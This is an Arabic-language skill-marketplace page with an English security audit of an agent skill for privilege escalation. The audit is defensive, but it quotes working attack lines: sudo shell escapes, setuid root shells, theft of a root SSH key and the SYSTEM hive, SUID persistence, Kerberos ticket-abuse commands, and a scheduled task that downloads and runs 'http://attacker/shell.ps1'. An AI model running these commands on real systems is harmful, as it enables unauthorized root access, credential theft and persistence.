📦
content-creator
88إنشاء محتوى تسويقي متسق مع العلامة التجارية
تحتاج فرق التسويق إلى محتوى يبقى متسقًا عبر القنوات. تساعد هذه المهارة في تخطيط المحتوى وكتابته وتحليله وتحسينه بما يتوافق مع نبرة العلامة التجارية وSEO.
الكتابة والمحتوى عرض
المهارات privilege-escalation-methods
📦
privilege-escalation-methods
v1.1 مراجعة المحتوى r1 حرج ⚙️ الأوامر الخارجية🌐 الوصول إلى الشبكة📁 الوصول إلى نظام الملفات
تقييم مخاطر تصعيد الامتيازات
تتطلب مراجعات تصعيد الامتيازات معرفة واضحة بمسارات إساءة الاستخدام الشائعة في Linux وWindows وActive Directory. تنظم هذه المهارة تلك المسارات لأغراض الاختبار المصرح به والتدريب ومراجعات التعزيز الدفاعي.
يدعم: Claude Codex Code(CC)
لا تثبّت هذا Skill تلقائيًا.
تتطلب السياسة المعتمدة مراجعة المشغّل قبل أي إجراء تثبيت.
التثبيت باستخدام Agent لدي
انسخ هذا الطلب إلى Agent لديك. يتضمن صفحة Skill المعتمدة وملف manifest.
طلب الوكيل
Review the Skillstore skill "privilege-escalation-methods" from https://skillstore.io/skills/sickn33-privilege-escalation-methods.md and its manifest at https://skillstore.io/api/skills/sickn33-privilege-escalation-methods/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.يجب أن يواصل Agent عرض خطته وطلب أي تأكيد تفرضه سياسة الأمان.
موارد مهيّأة لـ Agents
استخدم هذه الروابط عندما يحتاج AI Agent أو crawler أو script إلى سياق نظيف بدلًا من قراءة الصفحة كاملة.
اختبرها
جارٍ استخدام "privilege-escalation-methods". لخص إساءة استخدام capabilities في Linux للمدافعين.
النتيجة المتوقعة:
يمكن أن تسمح إساءة استخدام capabilities لثنائيات محددة بتنفيذ إجراءات تتجاوز حقوق المستخدم العادية. ينبغي للمدافعين جرد capabilities وإزالة التعيينات غير الضرورية والتنبيه عند حدوث سلوك shell مميز غير متوقع.
جارٍ استخدام "privilege-escalation-methods". أنشئ مراجعة آمنة لـ Active Directory من الموضوعات المدرجة.
النتيجة المتوقعة:
- تحقق من تعرض حسابات الخدمة وعمر كلمات المرور.
- راجع التفويض والتسجيل المتعلق بالتذاكر.
- تحقق من أن محاولات استخراج بيانات الاعتماد محظورة وتولّد تنبيهات.
- أكد خطوات الاستجابة للحوادث عند الاشتباه في إساءة استخدام التذاكر.
جارٍ استخدام "privilege-escalation-methods". راجع ما إذا كانت المادة مناسبة للنشر.
النتيجة المتوقعة:
تحتاج المادة إلى مراجعة قبل النشر الواسع لأنها تتضمن مسارات عمل تشغيلية للتصعيد وسرقة بيانات الاعتماد والاستمرارية. ينبغي أن تركز النسخة الآمنة على الكشف والمعالجة.
التدقيق الأمني
حرجv5 • ٧/٧/٢٠٢٦ فتح التقرير المرتبط بالإصدار
All static findings were retained because the skill is an operational post-exploitation guide for privilege escalation, credential theft, and persistence. Several matches are Markdown fence artifacts, but their surrounding sections contain actionable Linux, Windows, and Active Directory attack procedures. The semantic review confirms intent to obtain privileged shells, extract credentials, and compromise domains.
1
الملفات التي تم فحصها
334
الأسطر التي تم تحليلها
97
عناصر المراجعة
0
تم تجاهل الإيجابيات الكاذبة
مخاوف أمنية مؤكدة (23)
حرج
SSH directory access
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
The command targets /root/.ssh and archives a private key. This is direct access to privileged SSH credentials.
حرج
SSH private key file
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
The command specifically reads /root/.ssh/id_rsa. Exposing a private key can enable unauthorized privileged login.
حرج
Windows SAM/registry hive access
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
The command copies the Windows SYSTEM registry hive from a shadow copy. This supports offline credential extraction when paired with directory database or SAM data.
حرج
System password file access
sudo find /etc/passwd -exec /bin/bash \;
The command references /etc/passwd while executing a root shell through sudo find. It is part of direct root shell escalation using a trusted binary.
حرج
SUID bit modification
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.
حرج
SUID bit modification
chmod +s bash
The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.
حرج
SUID bit modification
\! chmod +s /bin/bash
The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.
حرج
UID/GID manipulation
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command explicitly sets uid 0 before launching a shell. This is direct privilege escalation to root.
عرض جميع النتائج المؤكدة البالغة 23
حرج
UID/GID manipulation
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
The command explicitly sets uid 0 before launching a shell. This is direct privilege escalation to root.
حرج
Windows scheduled task creation
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
The scheduled task is created to run as SYSTEM and execute a remote PowerShell payload. This is a persistence and remote execution mechanism.
حرج
[HEURISTIC] SUSPICIOUS COMBINATION: Code execution + Persistence mechanism
This combination is common in malware that maintains access
The skill combines code execution, credential theft, and persistence mechanisms across Linux and Windows. That combination is consistent with malware-like post-exploitation guidance.
حرج
Offensive Privilege Escalation Playbook
The skill explicitly aims to move from low-privileged access to root or administrator access. Its deliverables include extracted credentials, persistence, and domain compromise.
The purpose and deliverables state the offensive objective directly, including privileged shell access and credential extraction.
حرج
Credential Theft and Domain Compromise Guidance
The skill includes DCSync, golden ticket, pass-the-ticket, LLMNR poisoning, NTLM relay, and shadow copy credential extraction workflows. These enable credential theft and domain control.
The named workflows and tool commands are classic Active Directory credential theft and ticket abuse techniques.
مرتفع
UID/GID manipulation
# Python with cap_setuid
The line introduces cap_setuid abuse, which enables UID manipulation for escalation. The following command demonstrates becoming uid 0.
مرتفع
UID/GID manipulation
# Perl with cap_setuid
The line introduces cap_setuid abuse, which enables UID manipulation for escalation. The following command demonstrates becoming uid 0.
مرتفع
Weak cryptographic algorithm
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.
مرتفع
Weak cryptographic algorithm
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.
مرتفع
Weak cryptographic algorithm
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.
مرتفع
Network reconnaissance
- Root or Administrator shell access
The output requirement includes root or administrator shell access and extracted credentials. The network reconnaissance label is imprecise, but the skill objective is offensive post-exploitation access.
مرتفع
Safety Controls Are Insufficient for Publication
The constraints mention authorization, but they do not remove operational exploit steps or define refusal behavior. The dangerous instructions remain the primary content.
The safety section contains policy-like cautions, but the rest of the file still provides actionable escalation and credential theft workflows.
متوسط
System reconnaissance
# Python with cap_setuid
The matched line introduces cap_setuid abuse rather than normal reconnaissance. It is retained because the surrounding context demonstrates root escalation through UID manipulation.
متوسط
System reconnaissance
# Perl with cap_setuid
The matched line introduces cap_setuid abuse rather than normal reconnaissance. It is retained because the surrounding context demonstrates root escalation through UID manipulation.
منخفض
System reconnaissance
root@target:~# id
The id command confirms root identity after exploitation. It is low severity by itself but validates successful privilege escalation in the example.
عناصر مراجعة القدرات (97)
هذه قدرات محلية حقيقية قد يُتوقع وجودها لهذه المهارة، لذا فهي تتطلب مراجعة ولكن لا تُحتسب كسلوك خبيث مؤكد.
حرج
Process spawn
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The Python PTY command spawns an interactive root shell through sudo. This is direct privilege escalation guidance and can grant unauthorized shell access.
حرج
Python os.system
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The Python command sets uid 0 and invokes a shell. This is direct root shell escalation through code execution.
حرج
Python PTY spawn (shell access)
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The command uses sudo Python to spawn /bin/bash in a PTY. This is explicit shell access as root.
حرج
PowerShell invocation
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
The PowerShell command downloads and executes a script from an attacker-controlled URL through a scheduled task. This combines remote payload execution with persistence.
حرج
Unix shell invocation
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
The shell command modifies /bin/bash with the SUID bit to preserve privileged execution. This is a durable local privilege escalation mechanism.
حرج
Unix shell invocation
\! chmod +s /bin/bash
The shell command modifies /bin/bash with the SUID bit to preserve privileged execution. This is a durable local privilege escalation mechanism.
حرج
sudo privilege escalation
sudo vim -c ':!/bin/bash'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
حرج
sudo privilege escalation
sudo find /etc/passwd -exec /bin/bash \;
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
حرج
sudo privilege escalation
sudo awk 'BEGIN {system("/bin/bash")}'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
حرج
sudo privilege escalation
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
حرج
sudo privilege escalation
sudo perl -e 'exec "/bin/bash";'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
حرج
sudo privilege escalation
sudo less /etc/hosts # then type: !bash
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
حرج
sudo privilege escalation
sudo man man # then type: !bash
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
حرج
sudo privilege escalation
sudo env /bin/bash
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
حرج
sudo privilege escalation
$ sudo vim -c ':!/bin/bash'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
حرج
Hardcoded URL
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
The URL is used in a scheduled task that downloads and executes an attacker-hosted PowerShell script. This is remote payload execution and persistence guidance.
حرج
Hidden file access
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
The command archives /root/.ssh/id_rsa, a private SSH key. This is credential theft from a privileged account.
مرتفع
Ruby/shell backtick execution
--Author DOMAIN\<USER> --Command "cmd.exe" `
The backtick is part of a multiline Windows abuse command for GPO or scheduled task execution. The command sequence supports unauthorized privilege escalation or persistence.
مرتفع
Ruby/shell backtick execution
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
The backtick is part of a multiline Windows abuse command for GPO or scheduled task execution. The command sequence supports unauthorized privilege escalation or persistence.
مرتفع
Ruby/PHP system() call
sudo awk 'BEGIN {system("/bin/bash")}'
The command invokes a system shell from an interpreter in an escalation context. It is an operational technique for obtaining a privileged shell.
مرتفع
Ruby/PHP system() call
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command invokes a system shell from an interpreter in an escalation context. It is an operational technique for obtaining a privileged shell.
مرتفع
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
مرتفع
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
مرتفع
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
مرتفع
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
مرتفع
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
مرتفع
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
مرتفع
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
مرتفع
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
مرتفع
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
مرتفع
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
مرتفع
Windows cmd.exe
--Author DOMAIN\<USER> --Command "cmd.exe" `
The cmd.exe invocation is part of GPO abuse that modifies domain administrator credentials. This can enable unauthorized domain privilege escalation.
مرتفع
Unix shell invocation
sudo vim -c ':!/bin/bash'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
Unix shell invocation
sudo find /etc/passwd -exec /bin/bash \;
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
Unix shell invocation
sudo awk 'BEGIN {system("/bin/bash")}'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
Unix shell invocation
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
Unix shell invocation
sudo perl -e 'exec "/bin/bash";'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
Unix shell invocation
sudo env /bin/bash
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
Unix shell invocation
/bin/bash -p
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
Unix shell invocation
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
Unix shell invocation
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
Unix shell invocation
cp /bin/bash .
Copying /bin/bash is part of the no_root_squash NFS escalation workflow that later sets SUID. The command supports unauthorized privileged shell creation.
مرتفع
Unix shell invocation
/bin/bash -p
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
Unix shell invocation
$ sudo vim -c ':!/bin/bash'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
مرتفع
sudo privilege escalation
Exploit misconfigured sudo permissions using GTFOBins techniques:
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
مرتفع
sudo privilege escalation
# Check sudo permissions
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
مرتفع
sudo privilege escalation
sudo -l
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
مرتفع
sudo privilege escalation
# Check sudo permissions
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
مرتفع
sudo privilege escalation
$ sudo -l
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
مرتفع
sudo privilege escalation
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
مرتفع
Hardcoded URL
URL=https://facebook.com
The URL appears in a malicious shortcut used with LLMNR poisoning. The surrounding workflow is credential harvesting, not benign link handling.
مرتفع
Hardcoded IP address
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.
مرتفع
Hardcoded IP address
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.
مرتفع
Hardcoded IP address
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.
مرتفع
Temp directory access
mkdir /tmp/mount
The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.
مرتفع
Temp directory access
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.
مرتفع
Temp directory access
cd /tmp/mount
The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.
متوسط
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
متوسط
Standard device file access
getcap -r / 2>/dev/null
The /dev/null redirection is benign alone, but the command enumerates privileged file capabilities across the host. In this context it supports capability-based privilege escalation.
عوامل الخطر
⚙️ الأوامر الخارجية (87)
SKILL.md:48 SKILL.md:77 SKILL.md:48 SKILL.md:40-53 SKILL.md:53-57 SKILL.md:57-68 SKILL.md:68-72 SKILL.md:72-85 SKILL.md:85-89 SKILL.md:89-99 SKILL.md:99-103 SKILL.md:103-109 SKILL.md:109-117 SKILL.md:117-123 SKILL.md:123-127 SKILL.md:127-132 SKILL.md:132-136 SKILL.md:136-140 SKILL.md:140-144 SKILL.md:144-148 SKILL.md:148-152 SKILL.md:152-153 SKILL.md:154-155 SKILL.md:157-165 SKILL.md:165-171 SKILL.md:171-175 SKILL.md:175-177 SKILL.md:177-181 SKILL.md:181-186 SKILL.md:188-192 SKILL.md:192-195 SKILL.md:195-199 SKILL.md:199-206 SKILL.md:210-213 SKILL.md:213-221 SKILL.md:221-230 SKILL.md:230-234 SKILL.md:234-237 SKILL.md:237-241 SKILL.md:241-245 SKILL.md:245-291 SKILL.md:291-301 SKILL.md:301-305 SKILL.md:305-311 SKILL.md:47 SKILL.md:77 SKILL.md:117 SKILL.md:127 SKILL.md:136 SKILL.md:144 SKILL.md:152 SKILL.md:175 SKILL.md:181 SKILL.md:192 SKILL.md:199 SKILL.md:211 SKILL.md:241 SKILL.md:154 SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:48 SKILL.md:49 SKILL.md:52 SKILL.md:63 SKILL.md:67 SKILL.md:77 SKILL.md:80 SKILL.md:97 SKILL.md:106 SKILL.md:108 SKILL.md:298 SKILL.md:38 SKILL.md:41 SKILL.md:42 SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:48 SKILL.md:49 SKILL.md:50 SKILL.md:51 SKILL.md:52 SKILL.md:292 SKILL.md:293 SKILL.md:298 SKILL.md:319
🌐 الوصول إلى الشبكة (5)
📁 الوصول إلى نظام الملفات (5)
الأنماط المكتشفة
Python PTY spawn (shell access)SSH directory accessSSH private key fileWindows SAM/registry hive accessSystem password file accessSUID bit modification×3UID/GID manipulation×4Weak cryptographic algorithm×3Windows scheduled task creationSystem reconnaissance×3Network reconnaissance
دقّقه: codex عرض سجل التدقيق →
شارك واستشهد بهذا التقرير
شارك تقرير التقييم المرتبط بالإصدار والشارة المحايدة وبطاقة التضمين والاستشهادات. تعرض Skillstore الأدلة من دون أن تقرر ما إذا كانت هذه المهارة آمنة.
نسخ رابط التقرير
https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportشارة Markdown
[](https://skillstore.io/skills/sickn33-privilege-escalation-methods?utm_source=security_passport_badge)شارة HTML
<a href="https://skillstore.io/skills/sickn33-privilege-escalation-methods?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-privilege-escalation-methods/security.svg" alt="Skillstore security assessment" loading="lazy"></a>بطاقة قابلة للتضمين
<iframe src="https://skillstore.io/embed/skills/sickn33-privilege-escalation-methods.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>الاستشهادات الأكاديمية (APA · BibTeX · CFF)
اقتباس APA
sickn33. (2026). privilege-escalation-methods security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5اقتباس BibTeX
@techreport{sickn33-sickn33-privilege-escalation-methods-2026,
author = {sickn33},
title = {privilege-escalation-methods security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "privilege-escalation-methods security audit report (audit version 5)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-07"
url: "https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-privilege-escalation-methods:audit:5"
description: "Skillstore immutable audit report identifier"
تقييم Skillstore
سبب هذا التقييم موثوقية الأدلة: متوسط 55
الهندسة المعمارية
85
قابلية الصيانة
87
المحتوى
69
المجتمع
83
الامتثال للمواصفات
ما الذي يمكنك بناؤه
تخطيط الاختبار المصرح به
اربط فحوصات تصعيد الامتيازات المسموح بها بنطاق ارتباط موقّع قبل بدء الاختبار.
بناء قوائم تحقق دفاعية
حوّل فئات الهجوم المدرجة إلى مهام تعزيز ومراقبة وجمع أدلة.
تدريس مفاهيم المختبر
اشرح مفاهيم التصعيد في مختبر معزول دون استهداف أنظمة حقيقية.
جرّب هذه الموجّهات
تلخيص الفئات
لخص فئات تصعيد الامتيازات في Linux وWindows وActive Directory في هذه المهارة لمختبر مصرح به. لا تضمّن أوامر قابلة للتنفيذ.
إنشاء قائمة تحقق للتعزيز
حوّل هذه المهارة إلى قائمة تحقق دفاعية لتعزيز الخوادم وأنظمة النطاق. تضمّن عناصر التحكم والأدلة المطلوب جمعها وفحوصات التنظيف.
ربط نطاق الاختبار
اربط التقنيات المدرجة بالمتطلبات المسبقة والموافقات المطلوبة والأدلة المتوقعة وشروط التوقف لاختبار داخلي مصرح به.
تقييم مخاطر المؤسسة
أنشئ تقييما محدد النطاق للمخاطر باستخدام هذه المهارة. تضمّن مسارات إساءة الاستخدام وعمليات الكشف المحتملة وإجراءات الاحتواء وواجبات التنظيف وشروط المتابعة أو عدم المتابعة.
أفضل الممارسات
- استخدم المادة فقط في مختبرات مصرح بها أو ارتباطات أمنية موقعة.
- حوّل التقنيات الهجومية إلى عناصر تحكم دفاعية وعمليات كشف ومهام تنظيف.
- وثّق النطاق والموافقة والتعامل مع الأدلة وشروط التوقف قبل أي اختبار.
تجنب
